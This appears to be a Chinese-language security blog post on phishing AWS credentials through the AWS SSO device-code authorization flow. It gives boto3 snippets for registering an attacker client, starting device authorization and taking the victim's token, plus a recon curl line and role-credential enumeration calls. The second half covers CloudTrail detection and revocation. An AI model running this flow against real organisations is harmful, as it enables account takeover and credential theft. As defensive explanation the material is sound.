通过AWS SSO设备代码认证进行AWS凭证钓鱼攻击(2024年更新)
背景
AWS SSO简介
AWS SSO(现称为Identity Center)是AWS提供的多账户权限管理服务。支持三种身份源:
- 直接创建在AWS SSO身份存储中
- 从Active Directory同步
- 通过SAML集成第三方身份提供商(如Okta)
CLI使用机制
AWS SSO实现了OAuth 2.0设备授权许可标准,支持CLI认证流程:
$ aws configure sso
SSO start URL: https://my-sso-portal.awsapps.com/start
SSO region: us-east-1
系统会生成设备验证链接和代码,用户通过浏览器完成认证。
攻击原理
设备代码授权流程
- 客户端调用
sso-oidc:RegisterClient
注册OIDC客户端 - 调用
sso-oidc:StartDeviceAuthorization
生成验证链接 - 用户打开链接完成身份提供商认证
- 客户端调用
sso-oidc:CreateToken
获取SSO访问令牌
钓鱼攻击步骤
步骤0:获取目标信息
通过社会工程或子域名发现获取AWS SSO URL:
$ curl https://victim.awsapps.com/start/ | grep 'meta name="region"'
步骤1:发起设备代码授权
sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(clientName='my-attacker')
authz = sso_oidc.start_device_authorization(clientId=client_id,startUrl=AWS_SSO_START_URL
)
步骤2:发送钓鱼链接
受害者看到合法的AWS验证页面,只需点击"允许"即可完成授权。
步骤3:获取访问令牌
token_response = sso_oidc.create_token(deviceCode=deviceCode,grantType="urn:ietf:params:oauth:grant-type:device_code"
)
步骤4:枚举AWS资源
- 列出可访问账户:
sso:ListAccounts
- 列出账户角色:
sso:ListAccountRoles
- 获取STS凭证:
sso:GetRoleCredentials
检测与防护
CloudTrail日志事件
攻击步骤 | CloudTrail事件 | 源IP |
---|---|---|
生成设备代码 | 无日志 | N/A |
受害者查看提示 | sso:ListApplications |
受害者IP |
获取访问令牌 | sso-oidc:CreateToken |
攻击者IP |
枚举账户角色 | sso:ListAccounts /sso:ListAccountRoles |
攻击者IP |
检测策略
- 邮件网关检测:拦截
device.sso.<region>.amazonaws.com
链接 - IP差异检测:监控短时间内不同IP的ListApplications和CreateToken事件
- 异常活动检测:监控sso:ListAccountRoles事件数量异常增长
凭证撤销
通过移除用户的所有权限集分配可立即撤销访问令牌:
- 直接移除用户权限分配
- 移除所属组的权限分配
结论
设备代码认证虽然提升了CLI使用体验,但存在固有的钓鱼风险。组织需要结合安全意识培训和CloudTrail监控来加强防护。AWS明确表示这是设计特性而非漏洞,所有实现OIDC设备代码认证的身份提供商都存在类似风险。
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)
公众号二维码
公众号二维码